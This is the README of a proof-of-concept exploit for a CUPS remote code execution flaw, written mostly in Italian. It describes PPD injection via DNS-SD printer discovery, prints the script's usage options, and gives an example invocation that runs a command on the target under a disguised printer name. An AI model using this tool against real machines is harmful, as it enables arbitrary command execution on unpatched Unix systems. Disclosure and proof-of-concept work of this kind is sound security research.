
Proof-of-concept rapido per il recente exploit CUPS che consente l'esecuzione remota di codice tramite injection PPD e scoperta di stampanti DNS-SD. Esegue comandi arbitrari su sistemi Unix vulnerabili.
Quick proof of concept per la recente vulnerabilità di CUPS. Avevo intenzione di pulirlo molto di più, ma l'embargo è stato revocato molto prima del previsto, quindi il codice è un po' affrettato.
Per tutti i dettagli tecnici, onestamente, dovresti semplicemente leggere il writeup di Evilsocket.
Questo exploit è stato scritto dopo aver individuato questo commit nel repository pubblico OpenPrinting CUPS. Probabilmente esistono punti di injection più puliti.
Questa PoC usa la scoperta di stampanti dns-sd, quindi il target deve essere in grado di ricevere il messaggio broadcast, cioè essere sulla stessa rete.
L'exploit usa zeroconf e ippserver, entrambi installabili tramite pip.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
Ad esempio:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3